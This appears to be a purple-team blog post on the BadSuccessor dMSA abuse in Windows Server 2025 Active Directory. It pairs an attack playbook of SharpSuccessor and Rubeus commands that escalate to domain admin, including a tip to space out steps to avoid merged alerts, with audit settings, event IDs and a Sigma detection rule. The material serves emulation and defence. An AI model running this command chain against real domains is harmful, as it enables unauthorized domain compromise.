Purple Team

Microsoft has introduced a feature in Windows Server 2025 to prevent credential harvesting via Kerberoasting and other credential stuffing attacks. This new feature comes in the form of a new account type called dMSA (delegated Managed Service Account) and enables administrators to migrate standard service accounts to machine accounts with managed and fully randomised keys. The utilization of dMSA, resolves a common problem that organisations were facing historically such as the rotation of passwords for service accounts. However, another issue has been introduced as according to Akamai the permissions of the user are duplicated in the Privilege Attribute Certificate (PAC) of the dMSA account without Kerberos to perform a validation check.

A threat actor could abuse the delegated Managed Service Account (dMSA) feature to move laterally within the domain by obtaining the permissions of any account or group and delegate these permissions to an arbitrary dMSA account. Akamai has named this technique badSuccessor. It should be noted that organizations are affected only if they have deployed Windows Server 2025 as a domain controller and if one of the following permissions exist in any organizational unit within the domain.

1. Create msDS-DelegatedManagedServiceAccount
2. Create all child objects

The following screenshot demonstrates a user in the domain (Ben) that has the Create all child objects permissions over the organisational unit ServiceAccounts.

The threat scenario assumes that a threat actor has already established initial access and has compromised an account that has the Create all child object permission on the domain. Initially, the threat actor creates an arbitrary dMSA (delegated Managed Service Account) and performs modification on the following attributes:

1. msDS-ManagedAccountPrecededByLink
2. msDS-DelegatedMSAState

The attribute msDS-ManagedAccountPrecededByLink was introduced in Windows Server 2025 as part of the delegated Managed Service Account. The purpose of this attribute is to link a dMSA to a legacy service account that is intended to replace. The Key Distribution Center (KDC) uses this attribute to identify which account the dMSA is inheriting privileges from during authentication. The threat actor modifies this attribute to point to a privileged account (i.e. Domain Administrator).

The attribute msDS-DelegatedMSAState was introduced to track the migration state of a delegated Managed Service Account. Specifically, indicates whether the dMSA has been linked to a legacy service account during the migration process. The table below summarise the attribute values and their meaning:

The attribute msDS-DelegatedMSAState is set to 2 to simulate that the migration has been completed (i.e. arbitrary dMSA linked to Domain Administrator). The threat actor then attempts to obtain a Kerberos Ticket Granting Ticket (TGT) for the current account. Utilizing the generated ticket, it is feasible to create a service and request from Kerberos a service ticket (TGS). Since the permissions are delegated to the arbitrary service account, due to the attributed modification of msDS-ManagedAccountPrecededByLink, it is possible to request a service ticket for any service within the domain such as the Common Internet File System (CIFS) of the domain controller. The CIFS service ticket could be used by the threat actor to access domain controller resources and effectively compromise the domain. The following diagram visualize the technique of BadSuccessor.

Playbook

Logan Goins has released a proof of concept in .NET, called SharpSuccessor to implement the BadSuccessor technique. The tool can simulate the migration of delegated managed service accounts by creating a new object under the organizational unit (OU) which the user has write permissions and by modifying the associated attributes. Execution of the following command will perform the following activities on the domain controller:

1. Create a new dMSA object
2. Set the msDS-ManagedAccountPrecededByLink to the DN of the Administrator user
3. Set the msDS-DelegatedMSAState value to 2 to simulate the migration
4. Populate values for the attributes: msDS-SupportedEncryptionTypes & userAccountControl

dotnet inline-execute /home/kali/SharpSuccessor.exe add /impersonate:Administrator /path:"ou=ServiceAccounts,dc=ipurple,dc=team" /account:Ben /name:badDMSA

The above execution will introduce the following changes in the Windows Server 2025 domain controller.

The remaining steps of the technique require the execution of Rubeus for all the interactions with Kerberos. A ticket granting ticket (TGT) for the current account can be obtained by executing the command below:

dotnet inline-execute /home/kali/Rubeus.exe tgtdeleg /nowrap

The generated ticket granting ticket could be used for Kerberos authentication and to request a service ticket (TGS) for the badDMSA$ account.

dotnet inline-execute /home/kali/Rubeus.exe asktgs /targetuser:badDMSA$ /service:krbtgt/ipurple.team /opsec /dmsa /nowrap /ptt /ticket:<base64>

The attribute msDS-ManagedAccountPrecededByLink points towards the Administrator account which is part of the domain administrators group. These elevated permissions will be inherited and therefore a service ticket for the Common Internet File System (CIFS) of the domain controller could be requested from Kerberos.

dotnet inline-execute /home/kali/Rubeus.exe asktgs /user:badDMSA$ /service:cifs/DC2.ipurple.team /opsec /dmsa /nowrap /ptt /ticket:<base64>

The service ticket is imported directly in memory, providing access to the domain controller and all resources within the domain.

dir \\DC2\C$

The following YAML file contains the schema format of the playbook with the required commands for emulation of the BadSuccessor technique.

[[Playbook.badSuccessor]]
id = "1.0.0"
name = "1.0.0 - badSuccessor"
description = "Domain escalation by abusing the dMSA feature"
tooling.name = "SharpSuccessor"
tooling.references = [
    "https://github.com/logangoins/SharpSuccessor/",
    "https://github.com/GhostPack/Rubeus"
]
executionSteps = [
    "dotnet inline-execute /<path>/SharpSuccessor.exe add /impersonate:<domain-admin> /path:ou=<OU>,dc=<domain>,dc=<TLD> /account:<user> /name:<dmsa-object>",
    "dotnet inline-execute /<path>/Rubeus.exe tgtdeleg /nowrap",
    "dotnet inline-execute /path/Rubeus.exe asktgs /targetuser:<dmsa-object>$ /service:krbtgt/<domain> /opsec /dmsa /nowrap /ptt /ticket:<Base64>",
    "dotnet inline-execute /path/Rubeus.exe asktgs /user:dmsa-object$ /service:cifs/<dc-hostname> /opsec /dmsa /nowrap /ptt /ticket:<Base64>",
    "dir \\<dc>\C$"
]
executionRequirements = [
    "Create all child objects permission"
]

Purple team operators should perform the above executions with a delay to prevent possible detections merged under one alert. It should be noted that Endpoint Detection and Response systems might identify the presence of SharpSuccessor and Rubeus. It is critical to understand and isolate any detections which are associated with the tool signatures or via other standard Rubeus activities from the actual dMSA detections. The following image represents the detection opportunities structured in layers for the BadSuccessor technique.

Detection

The execution of the BadSuccessor technique requires three steps, which are performed in sequence. Initially, a dMSA account is created on the domain controller. The second stage, includes the modification of the dMSA attributes and the last step, the authentication and requests for service tickets via the arbitrary delegated Managed Service Account.

By default, Windows Server 2025 are not configured to log events associated to the technique. SOC teams should evaluate whether events related to dMSA accounts are standard in their network prior of enabling the required visibility.

Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Audit Policies > DS Access

It is recommended to enable auditing for organisational units that authenticated users have the Create all child objects permission. Specifically, from the location below, auditing should be enabled for the following permissions:

Active Directory Users and Computers > <OU> > Properties > Security > Advanced > Auditing > Authenticated Users

The table below summarise the activities related with the BadSuccessor technique and their associated event ID’s.

The Windows Event ID 5137 captures the creation of directory service objects. Defensive teams can capture the arbitrary dMSA account in the DN field under the object:

The modification of the sAMAccountName attribute is captured under the Windows Event ID 5136. The malicious machine account name, which typically a threat actor could request a ticket granting service (TGS) ticket, is displayed in the attribute section.

In the Windows Event logs, there is also a secondary 5136 event. The value 4096 in the userAccountControl attribute indicates a machine account instead of a standard account. This is a standard behaviour of the technique that is introduced by the SharpSuccessor and, therefore, should be correlated with other 5136 event ID’s. Generation of the 5137 and 5136 event ID’s in a very short period could also be an indicator that the attack has occurred in the domain.

Furthermore, when a Ticket Granting Ticket (TGT) is generated for the dMSA account, the domain controller captures the activity in the Directory Service logs under the Event ID 2946.

Sigma Rule

Engineering a detection for the BadSuccessor technique require the enablement of additional windows logging as specified above. The alert should be triggered when all of the three core stages of the attack have occured. The SIGMA rule below is supplemented to enable detection engineers and threat hunters build their own queries based on the specified detection logic.

title: Suspicious dMSA Creation, Linking, and Authentication BadSuccessor Attack
id: 8f5c2e1d-3a2b-4c6f-b7d9-0e2f6a9b1c3e
status: stable
description: Detects the three core stages of a BadSuccessor exploit in Windows Server 2025  
  1. Creation of a delegated Managed Service Account (dMSA),  
  2. Linking that dMSA to a privileged account via attribute modification,  
  3. Authentication with a KERB-DMSA-KEY-PACKAGE (Event ID 2946).  
author: Panos Gkatziroulis
date: 2025/06/22
modified: 2025/06/23
references:
  - title: BadSuccessor Abusing dMSA for Privilege Escalation in Active Directory
    url: https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory
  - title: BadSuccessor Abusing dMSA to Escalate Privileges in Active Directory (Netizen)
    url: https://www.netizen.net/news/post/6372/badsuccessor-abusing-dmsa-to-escalate-privileges-in-active-directory
tags:
  - attack.T1550.003            # Use Alternate Authentication Material
logsource:
  product: windows
detection:
  selection_dmsa_creation:
    EventID: 5137
    ObjectClass: "msDS-DelegatedManagedServiceAccount"    # creation of dMSA
  selection_attribute_modification:
    EventID: 5136
    ObjectClass: "msDS-ManagedServiceAccount"
    ChangedAttributes|contains|all:
      - "msDS-ManagedAccountPrecededByLink"
      - "msDS-DelegatedMSAState"                         # linking dMSA to privileged account
  selection_dmsa_authentication:
    EventID: 2946
    LogName: "Directory Service"
    CallerSid: "S-1-5-7"                                # KERB-DMSA-KEY-PACKAGE authentication
    # Alert only when all three selections occur within a short time window
  condition: selection_dmsa_creation and selection_attribute_modification and selection_dmsa_authentication
falsepositives:
  - Legitimate dMSA provisioning and lifecycle activities by authorized administrators
  - Expected service-ticket renewals for production dMSAs
level: high